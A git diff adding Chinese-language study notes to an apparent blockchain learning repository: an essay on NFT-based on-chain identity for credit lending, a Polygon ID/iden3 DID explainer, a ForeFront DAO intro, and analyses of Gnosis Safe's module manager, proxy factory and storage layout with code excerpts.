+在现实世界，大量的借贷是依靠信用的借贷，尤其是企业的借款，大部分是信用贷款，这个体量非常庞大。而在链上，目前除非依靠第三方现实世界的中介证明，比如银行的信息证明，才能提供信用贷款。除此之外，并没有很好的方法去做信用借贷和其他的信用授权。
+
+如果我们可以实现链上基于信用的身份授信，DeFi的资产使用量级将会增加几个数量级。
+
+## 基于NFT的数字身份设计
+
+**Poap这个应用给了我很多启发，它把一些特殊事件做成了NFT，比如YAM的投票、参与YFI的fair lanch等。这些NFT是对一个人参与一个事件的证明。**
+
+如果我们把一个用户地址跟交易行为制作成NFT，这个NFT实际就是用户的一个行为标签，并带有身份标记。我们可以限制只有地址所有人可以生成这个NFT，同时每一个NFT都会绑定地址信息。
+
+**当我们使用新地址时，我们可以将之前地址生成的行为NFT授权给新地址，这也是基于用户签名的操作，具有不可伪造性。**
+
+通过这种设置，我们可以使用一个账号聚合自己所有地址的行为NFT，变相的就是把我们可以将所有的链上行为聚合到一起。
+
+这么做的好处，是项目方可以通过查询NFT的方式，识别一个账号所有的历史行为，从而对这个账号形成一个立体判断。
+
+**可以用于空投符合条件的查询，可以用于白名单设置的查询，可以进行简单的身份符合度验证，也可以实现更加复杂的用户画像和用户标签的建立。进一步也可以做一个大胆的尝试，实现无第三方中介的链上信用借贷。**
+
+为了避免可能的身份泄露，全部的行为NFT都是基于用户自我授权的，也就是用户可以选择绑定哪些账号的行为到一个NFT中，也可以隐藏不想公开的地址。这样用户可以很好的控制隐私。
+
+信用借贷由于无抵押，所以要根据所有的历史行为计算借款人的偿付能力。同时，为了做最后一道保障，也就是借款人跑路的情况下，如何去追偿。
+
+我们可以做以下几个尝试：
+1. 借贷设置为有限期，比如3-6个月
+2. 在链上做借款人的真实身份信息校验，但只有身份提供方进行链上的加密私密保存，不向任何人公开
+3. 只有当借款人未偿付时，才会触发系统调用真实身份信息进行追偿
+4. 如果按期还款，真实身份信息将被销毁，过程中只有借款人自己接触过真实信息，因此不会有任何泄露
+5. 未偿付行为可以设立保险基金之类的，通过保险质押奖励来补偿借贷空缺
+
+以上仅是利用链上数字身份开展的一个信用借贷的假想，实际还会有更多其他的玩法可以基于数字身份开展。
+
+这些是我一个初步的产品设计思考，有感兴趣的小伙伴可以联系我，大家一起探讨，没准可以做成一个项目。或者有技术实力的团队也可以去尝试下是否可行~
+
+**想法不值啥钱，希望DeFi越来越好~**
+
+---
+微信：nigdaemon
\ No newline at end of file
diff --git a/dao/DID/polygonid/README.md b/dao/DID/polygonid/README.md
new file mode 100644
index 000000000..6532c57bc
--- /dev/null
+++ b/dao/DID/polygonid/README.md
@@ -0,0 +1,100 @@
+
+# 简介
+did包含Issuer、Holder、Verifier三个角色，其中Issuer将声明Claim分发给Holder，Holder可向Verifier提供关于Claim上数据的证明，证明可带有隐私保护特性。
+
+iden3提供了did的基础设施，而polygonId则基于iden3实现了完整的did流程，包括身份创建、Claim分发、数据的证明、Claim的撤销等。
+
+polygonId曾经有一个测试网站，上面可以体验整个流程，目前似乎已不能访问，但可以参考[这篇笔记](https://www.notion.so/Iden3-784989e8163146b4ac2c6f9c2c81f867)的前两节，体验一下整个流程。
+
+
+# 基本概念
+
+## 技术概念
+- Babyjubjub：一种椭圆曲线。对zk友好，基于该曲线的验签操作可以节省大量的约束，因为它基于一个特殊素数，而这个素数正好是zksnark使用的那个素数，也就意味着省去了繁杂的求模约束。
+
+- Sparse Merkle Tree：稀疏默克尔树，这是一种特殊的merkle tree，它构建在一个“地址空间”之伤，它的每个叶子结点都位于某个“地址”，而这个"地址"里可以有数据，也可以没有数据，因此可以用来证明一个数据不存在,证明的方式是，为相应的叶子节点构建merkle proof，验证者用空值和merkle proof恢复出树根并比较即可。
+
+
+## iden3概念
+- Claim: 一个Claim记录了所属主体的数据。它上面有8个槽位，每个槽位占31字节。有些槽位记录了元数据信息，包括数据主体、Claim的到期时间等。其他槽位可以记录你想要的声明数据，取决于业务场景，比如你可以放姓名、年龄、职位等。注意，由于Claim记录了私有数据，它需要隐私地保存，通常用polygon钱包，或者专门的托管服务器。
+
+- Tree：每一个iden3的用户都保存有三棵树，每一个树都是一个稀疏默克尔树。
+    - Claims Tree ：保存用户的Claim。每当用户以Issuer角色分发出一张Claim，或者以Holder身份领取一张Claim，都会把Claims插入到树中。Claim的前4个槽位的哈希值，决定了将插入到树中的哪个叶子节点；换言之，Claim的前4个槽位的哈希值，唯一的决定了Claim的id。注意，由于Claims Tree保存了Claims，所以这棵树是私有的。
+    - Revocation Tree：这棵树被用于撤销Claim。每个Claim都有一个特殊的id，称为Revocation Nonce。当Issuer需要撤销发出的Claim时，需要把这个Claim的Revocation Nonce存储到这棵树中；当Holder尝试证明Claim的有效性时，必须证明这个Claim没有被撤销，也就是提供Issuer的Revocation Tree中，对应null值的merkle proof。这棵树需要公开访问。
+    - Roots Tree：每次Claim Tree被更新，新的树根就会存入这棵树中。
+
+- 状态：一个用户，它下面的三棵树的树根，拼起来的哈希就是这个用户的状态。状态根，存储在区块链上。
+
+# 运行原理
+
+理解了上面的内容，我们来简单梳理一下整个iden3的运行原理。
+## 初始化
+初始情况下，用户使用BabyJubJub，生成一个密钥对，公钥被记录在一个特殊的Claim上，这个Claim唯一记录的信息就是公钥。这个Claim会插入到用户的Claims Tree中，而此时的树根凑出来的初始状态，将决定了用户的did。
+
+用户可以自己决定是否将状态根同步上链，不上链，就无法完成整个流程。
+
+## 发放
+假设A、B、C三个用户都完成了初始化。此时A想给B分发一个Claim，表示B的身份信息。他构建好一个Claim，上面主要记录如下内容：
+- 数据主体：B的did
+- 声明信息：出生日期
+
+A将这个Claim存放到自己的Claims Tree中，并将状态转移上链，通过zksnark证明自己状态转移的合法性，内容包括：
+- 提供了正确的签名，所签署的哈希为（旧状态，新状态）
+- 存储签名公钥的那个Claim，位于旧的Claims Tree中
+- 旧的Claim树根，和其他两个树根，计算出的状态，和旧状态一致
+- 发放的Claim位于新的Claims Tree中
+- 新的Claim树根，和其他两个树根，计算出的状态，和新状态一致
+
+
+A现在还需要把这个Claim传送给B。在此之前，需要解决一个问题，即确保只有B可以领取Claim，其他人不可以领取。为此，A需要执行额外的认证环节。A生成认证Json，上面包括如下信息：
+
+- 数据主体：B的did
+- 认证模式：也就是如何证明自己是B用户。例如，对什么数据做签名（通常是一个哈希值），采用什么手段证明自己（通常是zk），如果用zk，使用哪一个电路等。
+- 回调url：B需要把自己的证明发送往这个回调url，认证成功后，会进行下载功能。
+
+通常，这个json被封装在一个二维码中。
+## 接收
+B使用polygon钱包这类专用客户端，扫描二维码，获取里面的Json，然后根据json，构造证明，向里面的回调url发送证明后，下载得到Claim。
+
+这个Claim也会存入B自己的Claims Tree中，并向区块链上同步自己的状态变更，附带的证明逻辑和前文A类似。
+
+## 校验
+B现在想向C证明，自己持有A发出的Claim，并证明自己年龄大于18岁。怎么做？
+
+B根据电路，构建出一个zk证明，zk证明的私有输入包括：
+- Claim
+- AuthClaim
+- Claim的Proof
+- AuthClaim的Proof
+- Claim的未撤销证明
+- AuthClaim的未撤销证明
+- 签名
+- 待签署数据
+
+
+公开输入包括：
+- 状态根
+- 常数18
+- 当前日期
+
+证明的逻辑大致包括：
+- 先根据AuthClaim记录的公钥，验证签名
+- 结合AuthClaim的proof，验证AuthClaim的有效性
+    - 除了核对Claims Tree，还要验证AuthClaim未撤销，即用空数据和“未撤销证明”生成Revocation Tree的状态根，和输入的状态根对比
+- 结合Claim的proof，验证Claim的有效性
+    - 除了核对Claims Tree，还要验证Claim未撤销，即用空数据和“未撤销证明”生成Revocation Tree的状态根，和输入的状态根对比
+- 验证Claim上记录的出生日期，加18，不超过当前日期。
+- 
+当然，还包括对公有输入的验证，比如对于状态根和合约记录的一致、当前日期是否正确等。
+
+## 撤销
+
+如果A想撤销这个Claim，只需把Claim的Revocation Nonce插入到自己的Revocation Tree中，并将新的状态根同步到链上。
+
+这样，当B要基于这个Claim构造证明时，无法提供出“未撤销证明”，那么也就无法继续进行下去了。
+
+
+
+# 参考资料
+- https://www.notion.so/dapplearning/Iden3-784989e8163146b4ac2c6f9c2c81f867
+- https://github.com/0xPolygonID/sh-id-platform
diff --git a/dao/ForeFront/readme.md b/dao/ForeFront/readme.md
new file mode 100644
index 000000000..3589d0b7b
--- /dev/null
+++ b/dao/ForeFront/readme.md
@@ -0,0 +1,23 @@
+# One of three entrance and media-DAO
++ As we know,BanklessDAO、Forefront、MediaDAO, holds the main entrance of the Web3 Media.
++ let's see what they are.
+
+## Incentive to write
++ Write and get $FF.
++ https://forefront.gitbook.io/forefront/incentives/content
+
+## Open Dashboard
++ All data are clear and transparent.
++ https://www.forefront.club/dashboard
+
+## Video from KOL
++ It begins from 2019.
++ https://forefront.market/
+
+## Discord to join
++ You need Genesis NFT or 1000 $FF.
++ Or you can visit but can't join the governance.
++ https://discord.com/invite/9tfgWCQn6m
+
+## Pic intro
++ ![Graph](https://tva1.sinaimg.cn/large/008i3skNly1gxz4npvtysj31k70u0gpx.jpg)
\ No newline at end of file
diff --git a/dao/Gnosis/Gnosis Safe Analysis 2.md b/dao/Gnosis/Gnosis Safe Analysis 2.md
new file mode 100644
index 000000000..c9bf62f6c
--- /dev/null
+++ b/dao/Gnosis/Gnosis Safe Analysis 2.md	
@@ -0,0 +1,463 @@
+# GnosisSafe - 合约结构分析
+
+上篇文章简单分析`Gnosis` Safe中的部分业务逻辑，主要是链下签名与链上验证的逻辑，关于方法执行，Gas费用扣减等并未涉及到。因为主要是目前也暂时用不到那一块。这一篇文章主要是分析下`GnosisSafe`的合约结构。代码以最新release的v1.3.0为准，地址为https://rinkeby.etherscan.io/address/0xd9Db270c1B5E3Bd161E8c8503c55cEABeE709552#code
+
+`GnosisSafe`是一个多签钱包，在项目中一大优点就是它的合约架构设计，实现可插拔，可配置的功能。
+![image20210828143026536.png](https://img.learnblockchain.cn/attachments/2021/09/RsixiyJY614757ae3c66f.png)
+
+## 可插拔模块设计
+
+可插拔模块，即每个模块都可以为合约增加新的功能。在这种模式中，主合约提供了一套核心的不可变的功能，并允许新的模块被注册。这些模块增加了新的功能，可以调用核心合约。这种模式在钱包中最常见，如`GnosisSafe`或`InstaDapp`。用户可以选择在自己的钱包中添加新的模块，然后每次调用钱包合约都要求执行特定模块的特定功能。
+
+请记住，这种模式要求核心合约是没有错误的。任何关于模块管理本身的错误都不能通过在这种方案中添加新模块来修补。另外，根据实施情况，新模块可能有权通过使用DELEGATECALLs代表核心合约运行任何代码，所以也应该仔细审查。
+
+`ModuleManager`合约里比较有意思的一点是它使用了一个`map(address=>address)`形成的链表将所有的Modules串起来，并设置了一个哨兵模块`address(1)`作为链表头部。
+
+在网站上添加Module的步骤可以参考如下链接：https://help.gnosis-safe.io/en/articles/4934427-add-a-module
+
+### 模块管理合约-`ModuleManager`
+
+从合约代码中，我们可以看到`ModuleManager`主要提供了如下几种功能：
+
+```js
+哨兵：
+address internal constant SENTINEL_MODULES = address(0x01);
+```
+
+`setupModules` -通过`delegateCall`的方式初始化模块
+
+```js
+function setupModules(address to, bytes memory data) internal {
+	//确认哨兵在链表尾部，即该链表为空链表
+    require(modules[SENTINEL_MODULES] == address(0));
+    //把哨兵指向自己
+    modules[SENTINEL_MODULES] = SENTINEL_MODULES;
+    //对to地址的模块进行初始化
+    bool success;
+    assembly {
+        success := delegatecall(gas(),to,add(data,0x20),mload(data),0,0)
+    }
+    require(success);
+}
+```
+
+`enableModule` - 使能该模块, 实际上是添加该模块到链表里
+
+```js
+//sentinel -> A <-> A
+function enableModule(address module) public authorized {
+    //要求该module不能重复添加。如果该module在链表尾部，则该module应该指向自己
+    require(modules[module] == address(0));
+    //将该module-> A <-> A
+    modules[module] = modules[SENTINEL_MODULES];
+    //将哨兵重新指向module：sentinel -> module -> A <-> A
+    modules[SENTINEL_MODULES] = module;
+}
+```
+
+`disableModule` - 废弃该模块, 将该module移除链表
+
+```js
+//sentinel -> prevModule -> module -> B <-> B
+function disableModule(address prevModule, address module) public authorized {
+    //要求要废除的module和该module前的preModule都在链表中,且prevModule->module
+    require(modules[module] != address(0) && modules[prevModule] != address[0] && modules[prevModule] = module);
+    //sentinel -> prevModule -> B <-> B
+    modules[prevModule] = modules[module];
+    //module -> address(0)
+    modules[module] = address(0);
+}
+```
+
+`getModulesPaginated` - 拿到所有的模块列表
+
+```js
+function getModulesPaginated(address start, uint256 pageSize) external view returns (address[] memory array, address next) {
+    array = new address[](pageSize);
+    //遍历链表，不包括哨兵
+    address currentModule = modules[SENTINEL_MODULES];
+    uint moduleCount = 0;
+    while (currentModule != address(0) && currentModule != SENTINEL_MODULES && moduleCount < pageSize) {
+        array[moduleCount] = currentModule;
+        moduleCount += 1;
+        currentModule = modules[currentModule];      
+    }
+    next = currentModule;
+    //设置正确的array大小
+    assembly{
+        mstore(array, moduleCount)
+    }
+}
+```
+
+`execTransactionFromModuleReturnData `- 通过模块执行方法
+
+```js
+function execTransactionFromModuleReturnData(
+        address to,
+        uint256 value,
+        bytes memory data,
+        Enum.Operation operation
+    ) public returns (bool success, bytes memory returnData) {
+    //这里不能直接把数据写到reutrnData这一个内存数组里面，还是要从freepointer处开始
+	if (operation == Enum.Operation.Call) {
+        assembly{
+            success := call(gas(),to,value,add(data,0x20),mload(data),0,0)
+            let free_ptr := mload(0x40)
+            let returndatasize_ := returndatasize()
+            //更新0x40的值
+            mstore(0x40, add(free_ptr,add(0x20,returndatasize_)))
+            mstore(free_ptr, returndatasize_)
+            
+            returndatacopy(add(free_ptr,0x20),0,returndatasize_)
+            returnData = free_ptr
+        }
+    } else if (operation == Enum.Operation.DelegateCall) {
+        assembly{
+            success := delegatecall(gas(),to,add(data,0x20),mload(data),0,0)
+            let free_ptr := mload(0x40)
+            let returndatasize_ := returndatasize()
+            //更新0x40的值
+            mstore(0x40, add(free_ptr,add(0x20,returndatasize_)))
+            mstore(free_ptr, returndatasize_)   
+            returndatacopy(add(free_ptr,0x20),0,returndatasize_)
+            returnData = free_ptr
+        }
+    }
+}
+```
+
+### 思考1：多签钱包的主合约应该如何调用模块方法？
+
+我们注意到主合约：`GnosisSafe`直接继承了`ModuleManager`，而`ModuleManager`中列出的方法都是`public/external`，说明用户可以直接访问模块中的方法，不需要多签？
+
+### 思考2：模块方法中是否要进行权限认证？只允许多签钱包的主合约直接调用
+
+即是否需要在模块合约中，都保存主合约的地址，并在公开的方法中，添加一个modifier：
+
+```assembly
+modifier GnosisSafeOnly() {
+	//proxy ->delegatecall-> GnosisSafe ->call-> module => msg.sender == address(proxy)
+	//proxy ->delegatecall-> GnosisSafe ->delegatecall-> module => msg.sender == address(proxy) // 对吗？
+	require( 
+		msg.sender == address(GnosisSafeProxy)
+        );
+	_;
+}
+```
+
+```js
+modifier authorized() {
+    require(msg.sender == address(manager), "Method can only be called from manager");
+    _;
+}
+```
+
+### 思考3：代理合约通过`delegatecall`来访问主合约，而调用主合约中的执行模块方法时，可以选择用call来执行传入的to地址上的方法，那么`delegatecall`的上下文环境里，再使用call，最后它的状态变化发生在哪里？是代理合约里呢还是call中的to地址上？
+
+问题实质是`msg.sender`分别是谁：
+
+```assembly
+//proxy ->delegatecall-> GnosisSafe ->call-> module => msg.sender == address(proxy)
+//proxy ->delegatecall-> GnosisSafe ->delegatecall-> module => msg.sender == address(proxy) // 对吗？
+```
+
+## 工厂代理合约
+
+工厂合约地址：
+
+https://rinkeby.etherscan.io/address/0xa6b71e26c5e0845f74c812102ca7114b6a896ab2#code
+
+部署后得到的代理合约地址：
+
+https://rinkeby.etherscan.io/address/0xee52992d1ccc6338f1b83880da210a0b9fe7463f#code
+
+创建代理合约的交易哈希
+
+https://rinkeby.etherscan.io/tx/0x37b0091794de7862e5d0b9d470a4c454c74f8954e964280d7d2ad0d71dd45f71
+![image20210829101545856.png](https://img.learnblockchain.cn/attachments/2021/09/HWkd99YN61475789d9d65.png)
+
+分析工厂代理合约前的创建交易，可以从交易侧了解到合约的一个创建过程。
+
+```assembly
+Function: createProxyWithNonce(address _singleton, bytes initializer, uint256 saltNonce)
+
+MethodID: 0x1688f0b9
+[0]:  000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552  //_singleton
+[20]:  0000000000000000000000000000000000000000000000000000000000000060 //offset 初始化数据
+[40]:  0000000000000000000000000000000000000000000000000000017b8b872419 //saltNonce
+[60]:  00000000000000000000000000000000000000000000000000000000000001a4 //length 
+[80]:  b63e800d 
+//keccak256("setup(address[],uint256,address,bytes,address,address,uint256,address)") 0xb63e800d
+	   0000000000000000000000000000000000000000000000000000000000000100  //_owners offset
+[20]:  0000000000000000000000000000000000000000000000000000000000000002  //_threshold=2
+[40]:  0000000000000000000000000000000000000000000000000000000000000000  //to = address(0)
+[60]:  0000000000000000000000000000000000000000000000000000000000000180  //data offset
+[80]: 000000000000000000000000f48f2b2d2a534e402487b3ee7c18c33aec0fe5e4  //fallbackHandler
+[a0]: 0000000000000000000000000000000000000000000000000000000000000000  //paymentToken
+[100]: 0000000000000000000000000000000000000000000000000000000000000000  //payment
+[120]: 0000000000000000000000000000000000000000000000000000000000000000  //paymentReceiver
+[140]: 0000000000000000000000000000000000000000000000000000000000000003  //owners len
+[160]: 000000000000000000000000efe36830aad8a001eed8f79b544d798f4b49c2e5  //owner_1
+[180]: 000000000000000000000000664254cec2c0a498151d80ff8637b568b7a7dacc  //owner_2
+[1a0]: 000000000000000000000000f9980317b1dc17a0f9d96a003a2b6369e61659f9  //owner_3
+[1c0]: 0000000000000000000000000000000000000000000000000000000000000000  //len data
+[1e0]: 00000000000000000000000000000000000000000000000000000000
+
+//keccak256("setup(address[],uint256,address,bytes,address,address,uint256,address)") 0xb63e800d
+```
+
+```js
+function createProxyWithNonce(address _singleton,bytes memory initializer,uint256 saltNonce) {
+	//使用create2创建一个代理合约
+    bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
+    //GnosisSafe.contructor(address _singleton) 编码时初始化时，需要将初始化的参数编码到creationCode后面
+    bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
+    address proxy;
+    assembly{
+        proxy := create2(0,add(deploymentData,0x20),mload(deploymentData),salt)
+    }
+     //使用call调用setup进行初始化, call成功会返回1，call失败会返回0
+    assembly{
+        let success := call(gas(),proxy,0,add(initializer,0x20),mload(initializer),0,0)
+        if (eq(success,0x0)) {
+            let ptr := mload(0x40)
+            returndatacopy(ptr,0,returndatasize())
+            revert(ptr,returndatasize())
+        }
+    }
+}
+```
+
+简单来讲，`GnosisSafeProxyFactory`合约作为一个工厂合约，为每一个多签钱包创建一个`GnosisSafeProxy`的代理合约，所有的数据都储存在代理合约上。然后代理合约`GnosisSafeProxy`将所有的函数调用都通过`delegatecall`的方式远程调用`GnosisSafe`合约。
+
+### 注意点1： 代理合约的构造函数有参数，工厂合约如何创建
+
+在代理合约`GnosisSafeProxy`里面，其构造函数如下：
+
+```js
+constructor(address _singleton) {
+    require(_singleton != address(0), "Invalid singleton address provided");
+    singleton = _singleton;
+}
+```
+
+可以看到在构造函数里有一个参数`address _singleton`，作为工厂合约，最简单的生产一个Proxy的方法如下：
+
+```js
+function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
+	proxy = new GnosisSafeProxy(singleton);
+    //初始化
+	(bool success, bytes memory res) = address(proxy).call(data);
+	require(success, "GnosisSafeProxyFactory/createProxy init fail");
+}
+```
+
+在上面的创建Proxy合约的过程中，其实质是调用了create这一opcode。又因为create这一个opcode的创建合约的地址仅与Factory合约的地址和nonce有关，故导致钱包地址可被人手动推算出来。导致任何通过Factory合约这一方法创建钱包的人的钱包地址都可以被推断，出现安全隐患。
+
+$$
+\begin{eqnarray}
+a & \equiv & A(s, \boldsymbol{\sigma}[s]_{\mathrm{n}} - 1, \zeta, \mathbf{i}) \\
+\label{eq:new-address} A(s, n, \zeta, \mathbf{i}) & \equiv & \mathcal{B}_{96..255}\Big(\mathtt{KEC}\big(B(s, n, \zeta, \mathbf{i})\big)\Big) \\
+B(s, n, \zeta, \mathbf{i}) & \equiv & \begin{cases}
+\mathtt{RLP}\big(\;(s, n)\;\big) & \text{if}\ \zeta = \varnothing \\
+(255) \cdot s \cdot \zeta \cdot \mathtt{KEC}(\mathbf{i}) & \text{otherwise}
+\end{cases}
+\end{eqnarray}
+$$
+
+地址的推算方法如下：
+
+```js
+//首先拿到工厂合约的地址：
+address factory = 0xa6b71e26c5e0845f74c812102ca7114b6a896ab2;
+假设nonce = 1, 则RLP((s,n))为：
+ethers.utils.RLP.encode(["0xa6b71e26c5e0845f74c812102ca7114b6a896ab2","0x01"])
+=>
+RLP((factory,nonce)) = 0xd694a6b71e26c5e0845f74c812102ca7114b6a896ab201
+
+Keccak256(RLP((factory,nonce))) =  0x4c2134364fb2823682748fe543e77ba9f5e59cefb97d55cf58641ebb7beb22c4
+address = 0x43e77ba9f5e59cefb97d55cf58641ebb7beb22c4
+```
+
+使用create2这一OPCODE就没有这个问题，但使用create2时，需要理解构造函数中的参数应该怎么传入进去：
+
+> Arguments for the constructor of a contract are directly appended at the end of the contract’s code, also in ABI encoding. The constructor will access them through a hard-coded offset, and not by using the codesize opcode, since this of course changes when appending data to the code.
+
+即将`contructor`里的参数直接以ABI编码后贴在`contract.creationCode`里。
+
+```js
+bytes memory data = abi.encode(type(GnosisSafeProxy).creationCode, uint256(uint160(singleton)))
+```
+
+### 注意点2：代理合约与实现合约的Storage插槽排布是否一致
+
+由于代理合约`GnosisSafeProxy`与实现合约`GnosisSafe`是通过`delegatecall`来调用，故需要仔细检查两边的插槽排布，需让其保持一致。
+
+首先是`GnosisSafeProxy`代理合约：
+
+```assembly
+slot_00 => singleton
+```
+
+然后是`GnosisSafe`实现合约
+
+```assembly
+contract GnosisSafe is
+    EtherPaymentFallback,
+    Singleton,
+    ModuleManager,
+    OwnerManager,
+    SignatureDecoder,
+    SecuredTokenTransfer,
+    ISignatureValidatorConstants,
+    FallbackManager,
+    StorageAccessible,
+    GuardManager
+EtherPaymentFallback => 无全局变量
+Singleton =>有全局变量 slot_00 => singleton
+ModuleManager is SelfAuthorized, Executor
+SelfAuthorized => 无全局变量
+Executor => 无全局变量
+ModuleManager => 有全局变量 mapping(address => address) internal modules
+OwnerManager is SelfAuthorized
+SelfAuthorized => 无全局变量
+OwnerManager => 有全局变量 mapping(address => address) internal owners;
+						uint256 internal ownerCount;
+                          uint256 internal threshold;
+SignatureDecoder => 无全局变量
+SecuredTokenTransfer => 无全局变量
+ISignatureValidatorConstants => 无全局变量
+FallbackManager is SelfAuthorized
+SelfAuthorized => 无全局变量
+FallbackManager => 有全局变量 keccak256("fallback_manager.handler.address") => fallback_handler
+StorageAccessible => 无全局变量
+GuardManager is SelfAuthorized
+SelfAuthorized => 无全局变量
+GuardManager => 有全局变量 keccak256("guard_manager.guard.address") => set_guard
+GnosisSafe => 有全局变量 uint256 public nonce;
+                        bytes32 private _deprecatedDomainSeparator;
+                        mapping(bytes32 => uint256) public signedMessages;
+                        mapping(address => mapping(bytes32 => uint256)) public approvedHashes;
+```
+
+将上面的`GnosisSafe`实现合约的插槽整理如下：
+
+```assembly
+slot_00 => singleton
+slot_01 => mapping(address => address) internal modules
+slot_02 => mapping(address => address) internal owners;
+slot_03 => uint256 internal ownerCount;
+slot_04 => uint256 internal threshold;
+slot_05 => uint256 public nonce;
+slot_06 => bytes32 private _deprecatedDomainSeparator;
+slot_07 => mapping(bytes32 => uint256) public signedMessages;
+slot_08 => mapping(address => mapping(bytes32 => uint256)) public approvedHashes;
+keccak256("fallback_manager.handler.address") => fallback_handler
+keccak256("guard_manager.guard.address") => set_guard
+```
+
+可以看到代理合约`Proxy`和实现合约`GnosisSafe`的插槽并不完全一致，但是在代理合约Proxy的插槽排布中，slot_00位置处的值都是`singleton`，并未出现碰撞。可能是Gnosis想让`proxy`合约尽可能小，所以这样设计。
+
+### 注意点3：与compound的`Unitroller`部分对比
+
+`Compound`中的`Unitroller`是一个可升级合约架构，即其对应的实现`comptrollerImplementation`合约地址可以通过`Unitorller`中的方法去更改，从而实现合约升级。而`GnosisSafeProxy`并不是一个可升级合约架构，它对应的实现`singleton`是在初始化时就写死的，没有办法去更改实现。
+
+作为一个代理合约，其实现地址通常需要在创建时就传入进去，然后再调用init方法来进行初始化。
+
+## 代理合约结构
+
+后续更新，因为重新看了下Gnonsis Safe的代码。
+
+proxy代码逻辑中并没有可升级的操作，所有的升级操作再impl代码中的masterCopy合约中，类似于UUPS的升级方式。
+
+```js
+masterCopy.sol:
+function changeMasterCopy(address _masterCopy)
+        public
+        authorized
+{
+    // Master copy address cannot be null.
+    require(_masterCopy != address(0), "Invalid master copy address provided");
+    masterCopy = _masterCopy;
+    emit ChangedMasterCopy(_masterCopy);
+}
+```
+
+这里与UUPS不一样的地方是，它提供一个authorized的modifier，这个modifier特别有意思，它要求msg.sender==address(this), 这特别像inernal的感觉。 这与openzeppelin再UUPS中实现的onlyProxy并不是一个思路。
+
+```js
+modifier authorized() {
+    require(msg.sender == address(this), "Method can only be called from this contract");
+    _;
+}
+```
+
+对比Openzeppelin的UUPS中onlyProxy实现：
+
+```js
+address private __self = address(this);
+
+modifier onlyProxy() {
+    require(address(this) != __self, "Function must be called through delegatecall");
+    require(_getImplementation() == __self, "Function must be called through active proxy");
+    _;
+}
+```
+
+Openzeppelin是利用proxy ->delegatecall -> impl时，其address(this)应该等于address(proxy), 而部署impl时的_self应该等于address(impl), 两者并不相等。然后再检查对应的代理合约的实现合约是不是impl。
+
+Gnosis中的authorized方式是检查msg.sender==address(this)，是FactoryProxy->call->proxy->delegatecall->impl,
+
+```js
+function createProxyWithNonce(address _mastercopy, bytes memory initializer, uint256 saltNonce)
+        public
+        returns (Proxy proxy)
+{
+    proxy = deployProxyWithNonce(_mastercopy, initializer, saltNonce);
+    if (initializer.length > 0)
+        // solium-disable-next-line security/no-inline-assembly
+        assembly {
+            if eq(call(gas, proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) { revert(0,0) }
+        }
+    emit ProxyCreation(proxy);
+}
+function deployProxyWithNonce(address _mastercopy, bytes memory initializer, uint256 saltNonce)
+        internal
+        returns (Proxy proxy)
+    {
+    // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
+    bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
+    bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, uint256(_mastercopy));
+    // solium-disable-next-line security/no-inline-assembly
+    assembly {
+        proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
+    }
+    require(address(proxy) != address(0), "Create2 call failed");
+}
+```
+
+```js
+Function: createProxyWithNonce(address _mastercopy, bytes initializer, uint256 saltNonce)
+
+MethodID: 0x1688f0b9
+[0]:  00000000000000000000000034cfac646f301356faa8b21e94227e3583fe3f5f //mastercopy
+[1]:  0000000000000000000000000000000000000000000000000000000000000060 //init
+[2]:  000000000000000000000000000000000000000000000000000001798f2d474d //saltnonce
+[3]:  00000000000000000000000000000000000000000000000000000000000001a4 //len
+[4]:  b63e800d
+0000000000000000000000000000000000000000000000000000000000000100 //_owners
+0000000000000000000000000000000000000000000000000000000000000002 //_threshold
+0000000000000000000000000000000000000000000000000000000000000000 //to
+0000000000000000000000000000000000000000000000000000000000000180 //data
+000000000000000000000000d5d82b6addc9027b22dca772aa68d5d74cdbdf44 //fallbackHandler
+0000000000000000000000000000000000000000000000000000000000000000 //paymentToken
+0000000000000000000000000000000000000000000000000000000000000000 //payment
+0000000000000000000000000000000000000000000000000000000000000000 //receiver
+0000000000000000000000000000000000000000000000000000000000000003 //_owner len
+000000000000000000000000a75c86521514ff4873e5524a2579b249403c9a21 //owner[0]
+000000000000000000000000594bdaecc368f6cfa0baebb4c82794090a85fff0 //owner[1]
+0000000000000000000000007d9b016edd3b52495860f65de4c8238d2a73b88e //owner[2]
+0000000000000000000000000000000000000000000000000000000000000000 //data
+00000000000000000000000000000000000000000000000000000000
+```
diff --git a/dao/Gnosis/Gnosis Safe Analysis.md b/dao/Gnosis/Gnosis Safe Analysis.md
new file mode 100644
index 000000000..09132d23f
--- /dev/null
+++ b/dao/Gnosis/Gnosis Safe Analysis.md	
@@ -0,0 +1,485 @@
+## Genosis Safe简介
+
+![image20210827195813096.png](https://img.learnblockchain.cn/attachments/2021/09/ncWkMkb5613bff2dbdc1a.png)
+
+Genosis Safe简单来讲是一个多签钱包，它允许多个账户对同一笔交易进行签名，实现账户资金的安全管理。主要的应用有如下三个场景：
+
+1. 公司和合约可以安全地持有他们的资金，并要求大多数所有者接受转移资金。所以没有一个所有者可以带着钱跑。
+2. 公司可以在大多数所有者的共识下执行敏感交易。
+3. 个人可以使用multisig来拥有钥匙的冗余度。多重认证的一个特性是，如果你丢失了一把钥匙，你可以用剩下的两把钥匙恢复钱包。
+
+## 业务逻辑分析：
+
+Genosis Safe的主要业务逻辑是组合多个用户（可以是EOA，也可以是合约），多个用户同时对一笔交易进行签名，签名验证成功后，执行交易并扣除相应的Gas费用，将剩余Gas返回给设定的refund账户。用户可以加载多个模块，通过不同的模块对多签钱包的行为进行限制。
+
+### EIP712:
+
+$$
+hashStruct(S)=keccak256(abi.encode(typeHash,encodeData(S)))\\
+typeHash=keccak256(encodeType(typeOf(S)))
+$$
+
+EIP712中定义的结构体：
+
+```js
+EIP712Domain(uint256 chainId,address verifyingContract)
+SafeTx(address to,uint256 value,bytes data,uint8 operation,uint256 safeTxGas,uint256 baseGas,uint256 gasPrice,address gasToken,address refundReceiver,uint256 nonce)
+```
+
+EIP712结构体1：EIP712Domain
+
+```assembly
+首先是encodeType 
